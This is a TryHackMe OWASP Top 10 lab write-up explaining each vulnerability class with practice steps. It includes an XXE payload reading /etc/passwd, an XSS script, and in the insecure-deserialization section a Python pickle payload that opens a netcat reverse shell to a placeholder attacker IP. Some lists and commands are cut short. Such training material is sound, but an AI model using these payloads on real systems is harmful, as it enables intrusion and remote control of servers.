TryHackMe: OWASP Top 10 Writeup

This writeup is going to be based on the OWASP Top 10 room on TryHackMe. The challenges to this room are going to be released on a daily basis so that for 10 days one can focus on one of the Top 10 vulnerabilities whichever has been released for that day. I will try to add every vulnerability task to this article as soon as I complete it.

What is OWASP and what are the Top 10???

Open Web Application Security Project or better known as OWASP is an online community that produces tools, documentations, technologies and many other things related to web security which can be accessed by anyone and at a cost-free rate. Some of the major OWASP projects that I know are ZAP, Juice Shop, obviously the Top 10 and many others.

[Task 1] Introduction

This task just provides a list of all the vulnerabilities that are going to be covered in this room.

  1. Broken Authentication
  2. Sensitive Data Exposure
  3. XML External Entity
  4. Broken Access Control
  5. Security Misconfiguration
  6. Cross-Site Scripting
  7. Insecure Deserialization
  8. Components With Known Vulnerabilities
  9. Insufficient Logging and Monitoring

Tasks 2 and 3 are just related to VPN access and daily prize. So, nothing important here.


[Task 4] Injection

This is the point where all the interesting stuff begins. In this task, they have briefed about what an Injection is, how it can be performed and how to defend yourself from such attacks. Following are some major points from the description they have provided:

  • Command Injection: When you exploit the web app implementation at the system level and run system-level command.

[Task 5] Command Injection

This task provides a brief introduction to command injection. One important point described over here is that once an attacker gets access to the system it is not necessary that he/she will perform some simple malicious tasks like whoami or some other system-level commands but he/she can also try to pop a shell for themselves and virtually own all the data stored on that server which can be pretty dangerous in several ways.

[Task 6] Command Injection Practical

This task is all about the practical implementation of Command Injection. Though one important thing to be noted here is that we can never find such an easy way to perform command injection out in the real world, this is just for basic practice and develop a simple mindset for such an attack.

EvilCorp Shell Page

Broken Authentication

The challenge we are provided with today is related to Broken Authentication. The task is very simple and easy to perform. So, let's just begin!

[Task 7] Broken Authentication

The main purpose of this task was mainly just to let us know what exactly does Broken Authentication means, how can it affect, how it is usually performed and how can you protect yourself from this attack. Some of the major points in this task are:

  1. Some of the major issues that lead to flaws in the authentication mechanism are:
  • Use of weak passwords
  • Weak session cookies
  • Implementing multi-factor authentication.

[Task 8] Broken Authentication Practical

Moving on to the practical task for Broken Authentication, they have explained about one of the basic flaws related to user authentication database which is if not handled properly we can register a user with the same username and prepend it with a blank space( ). Doing so, and then logging in with the newly registered username we can gain access to the account of the original user. This can turn into a really serious issue if found in any real-world web application.

Image: Broken Authentication Challenge Home Page

Sensitive Data Exposure

[Task 9] Sensitive Data Exposure (Introduction)

As the task name suggests, it is going to be an intro to today’s topic. Sensitive data exposure is nothing but can be explained in simple terms as leakage of some personal or confidential information from a web app. This can range from basic user details such as name, age, contact details to some confidential details like financial credentials, security numbers and others.

[Task 10] Sensitive Data Exposure (Supporting Material 1)

This task tells us about the two ways in which data is generally stored in a web app which are:

  1. Stored as files (called as “flat-files”)
  1. sqlite3 <filename>: Access the SQLite file.
  2. SQLite commands:
  • PRAGMA table_info(<tablename>);: Provides the details of the columns in the mentioned table
  • SELECT * FROM <tablename>;: Print all the content of the table

[Task 11] Sensitive Data Exposure (Supporting Material 2)

This task talks about password hashes. From the previous task, we understood how we can access the content of a table in the database. But this is a known fact that passwords are never stored as plaintext in any database. And the same case is over here, but to keep things easy, passwords are hashed using MD5 hashes.

[Task 12] Sensitive Data Exposure (Challenge)

Beginning with the actual practical part of this challenge we can move on to the task questions!

Sense and Sensitivity Homepage
  • To open the file we can use the command: sqlite3 <filename>
  • The next task would be to check the tables in the database: .tables Output:
 sqlite> .tables
sessions users
  • Now, we need to know in what order data is arranged in the table, so we can use the command: PRAGMA table_info(users); Output:
 sqlite> PRAGMA table_info(users);
  • To extract the password we need to print the table ‘users’. And we can do that by using the query: sqlite> SELECT * FROM users;
  • From the printed table, we need the hash in the third column that belongs to ‘admin’ and submit it as the answer for the third question.

XML External Entity

In today’s challenge, it was all related to the basics of the XXE attack. As this series is meant for beginners, the challenge was pretty easy to solve. Just required some payload manipulations.

[Task 13] XML External Entity

This task broadly enumerates various attacks that an XXE attack can lead to such as Denial of Service(DoS), Server Side Request Forgery(SSRF), Remote Code Execution (RCE) and port scanning. It also describes to types of XXE attacks:

  1. Out-of-band attack (blind XXE): Attacker has to reflect the output of the attack to some other file or their server

[Task 14] XML External Entity — eXtensible Markup Language

This task talks about basics on an XML file. Following are some of the major points from the task:

  1. It is platform independent.
  2. Changes can be made to an XML document without affecting data presentation.
  3. XML allows validations using DTD’s and Schema ensuring XML document is free from any syntax error.
  4. Syntax:
  • This determines the XML version and the encoding used, also this line is not compulsory.
  • Every XML document must have a ROOT element without which it would be considered invalid.
  • Every opening tag must be closed with an identical tag with a preceding /. Eg. <tag>Example</tag>

[Task 15] XML External Entity — DTD

As the task name suggests, this task provides some brief information on Document Type Definition (DTD) which is used to define the structure and legal elements of an XML file.

<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> 
  1. The term !ELEMENT is used to define an element such as it's type (eg. #PCDATA which means parsable character data) or the sub-elements which it consists (<!ELEMENT note (to,from,heading,body)>)

[Task 16] XML External Entity — XXE Payload

In this task, two different payloads are presented. We can see each one of them and try to understand their sole purpose:

<!DOCTYPE replace [<!ENTITY name "feast"> ]>
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>

[Task 17] XML External Entity — Exploiting

To solve all the questions in this task we need to first deploy the machine and browse to http://<machine_ip> which would look something like:

XXE Homepage
  • P.S. Don’t make a silly mistake by copying those 18 characters from -----BEGIN RSA PRIVATE KEY----- as the actual key begins after this!!!

Broken Access Control

I must say that from all the challenges that were presented till date, today’s challenge was the quickest and easiest. Today, the topic was Broken Access Control and let’s see what all was there!

[Task 18] Broken Access Control

This task explains how some pages are intended to be accessed only by a few users i.e. only a few users can authenticate such confidential pages and/or data. But sometimes, there might be some logical error in the application itself through which a normal user can easily access the information no one is allowed to access.

[Task19] Broken Access Control (IDOR Challenge)

Insecure Direct Object Reference (IDOR), as the name suggests is an attack when the link to sensitive is referenced in an insecure way. The best example of an IDOR attack is when you change the parameters passed in the URL and land up on a page that you are not allowed to access.


Security Misconfiguration

[Task 20] Security Misconfiguration

To put it in simple terms, Security Misconfiguration happens when some loopholes are left behind on the application knowing or unknowingly. These misconfigurations might helps the attacker to directly attack the web app or at least help them in some other way to exploit the web app. Some of the security misconfigurations include but are not limited to:

  1. Leaving unnecessary features enabled
  2. Using default credentials
  3. Improper error handling
Img. pensivenote_omepage
Table. default credentials
Img. pensivenote_changepw

Cross-Site Scripting

Here I am, back again with the walkthrough for one more challenge based on XSS. To be honest, I did not have much of prior knowledge related to XSS but found this challenge pretty simple. For today as well, there was only one task containing all the theory as well as the questions. So, let’s just begin!

[Task 21] Cross-Site Scripting

Cross-Site Scripting (XSS) attack is a type of attack through which you can execute a malicious script on the victim’s machine. There are three types of this attack:

  1. Stored XSS: When the XXS script is stored directly in the database of the web app.
  2. DOM-Based XSS: Document Object Model (DOM) is helpful to change the document’s structure, style and content. DOM XSS are the ones that are in the DOM.
Img. xss_homepage
  • To do so, we can simply select the text “XSS Playground”, right-click and go to the Inspect Element option. Then we can see the id over there somewhat like:
Img. xss_playground_id
<script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>

Insecure Deserialization

In today’s challenge, there was a lot of theory along with quite a lot of questions as well which were distributed in 6 tasks. Today’s writeup might be a bit too lengthy but worth the knowledge. So, let’s begin!!!

[Task 22] Insecure Deserialization

Insecure deserialization is a type of attack that takes the benefits of improper serialization and deserialization methods used in a web app. It can lead to attacks ranging from (Denial of Service) DoS to (Remote Code Execution) RCE.

[Task 23] Insecure Deserialization — Objects

Object-oriented Programming(OOP), as the name suggests the base of this type of programming is the object which is mainly described by two properties it’s state and behavior.

[Task 24] Insecure Deserialization — Deserialization

Firstly, serialization is the process of converting objects into a format that can be transmitted through systems. Whereas, deserialization is the reverse process that converts data from is converted format to objects again.

[Task 25] Insecure Deserialization — Cookies

Cookies are pieces of data that are stored by a website on a user’s computer while they are browsing. These cookies help to store the session details of the user. Some cookies are cleared as soon as the browser is closed whereas some might be saved for a longer period.

[Task 26] Insecure Deserialization — Cookies Practical

For this task, we first need to browse to the deployed machine’s webpage. Then we need to perform all the steps as described on the task which are:

  1. Then right-click and select inspect element
Img. setting cookie

[Task 27] Insecure Deserialization — Remote Code Execution

As mentioned in task 22, insecure deserialization can lead to lead to RCE, that is what we are going to perform in this attack.

  1. There we need to click on Exchange you vim and then on Provide your feedback.
  2. To get an RCE shell, we need to start a listener. This can be done by executing the netcat command nc -nvlp 4444. Here, 4444 is the port on which we are listening.
  3. They have provided us a python script as well, that can help us establish an RCE connection from the target machine which is:
import pickle
import sys
import base64
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f'
class rce(object):
def __reduce__(self):
import os
return (os.system,(command,))
  • On executing this python script as python, we will get byte stream as output from which we need only the data between the single quotes(').
  • Now all that we need to do is copy this value to ‘encodedPayload’ value in the website’s cookie section and refresh the page.
  • This will execute the rce payload and we will get an RCE shell on our listener.
  • To find where the flag is located, we can use the command: find / -name flag.txt 2> /dev/null. We can read the file and find the flag that can be used as the answer to this task's question.

Components with Known Vulnerabilities

Today’s challenge is based upon the fact that for most of the software or service that is being used, we can find some or the other form of exploitation on the web that has been discovered by someone. We may find a ready-made script or step-by-step methods to perform an exploit or sometimes even a broken script that we need to fix and then use for exploitation.

[Task 28] Components with Known Vulnerabilities — Explanation

This task just gives a brief on how known vulnerabilities can be searched on the web and can be used to perform exploitation. These vulnerabilities can be found on exploit-db or rapid7. We can also find the CVE details as well for all such vulnerabilities on the web. This vulnerability is also considered as highly risky as anyone can find these vulnerabilities easily on the web and use them for exploitation.

[Task 29] Components with Known Vulnerabilities — Exploitation

There is not much that needs to be explained here as the task is pretty much self-explanatory on how you can pop an RCE. Though this method can be defined roughly in a few steps as:

  1. Try to find out various exploits related to that specific version on the web (eg. on exploit-db or rapid7)
  2. If required, make necessary adjustments to the exploit as per requirement.
  3. Try to implement the exploit.
  4. Debug if some issue is faced and try again. Else, look for some other exploits and start from step 2.
  5. If the exploitation succeeds, we can perform the task we want to.

[Task 30] Components with Know Vulnerabilities — Practical

For this challenge, we are not provided with any information on the target. So, it’s totally up to us on how we approach to break this box.

Img. Bookstore Homepage
tester@kali:~/Downloads$ python 
usage: [-h] url error: too few arguments
Img. RCE Error
Img. RCE Exploit

Insufficient Logging and Monitoring

Today is the last day of OWASP Top 10 challenges and it is about one of the most important fields in Cyber Security. Logging and monitoring is an important part of cybersecurity. It might not appear to be that important at first glance but it improves the efficiency of an organization to protect themselves from attacks as all the events taking place in the network are being logged and monitored in real-time. Hence, providing a proactive solution for any anomaly taking place in the network.

[Task 31] Insufficient Logging and Monitoring

This is the last task of this challenge and one of the easiest challenges as well. The task explains how logging and monitoring are important. Some major points from the task are:

  1. Two major impacts of not having logging and monitoring could be:
  • Risk of further attack: Organization might face the same attack and won’t know how to tackle it.
  • Time Stamps
  • Usernames
  • API endpoints/page locations
  • IP Addresses
200 OK  jr22          2019-03-18T09:21:17 /login
200 OK rand99 2019-03-18T10:19:22 /login
200 OK afer11 2019-03-18T11:11:44 /login
200 OK rad4 2019-03-18T11:55:51 /login
200 OK bff1 2019-03-18T13:08:59 /login
200 OK hax0r 2019-03-21T16:08:15 /login
401 Unauthorised admin 2019-03-21T21:08:15 /login
401 Unauthorised administrator 2019-03-21T21:08:20 /login
401 Unauthorised anonymous 2019-03-21T21:08:25 /login
401 Unauthorised root 2019-03-21T21:08:30 /login

Wish you all the best for your future hacking!!!

Just another CyberSec Guy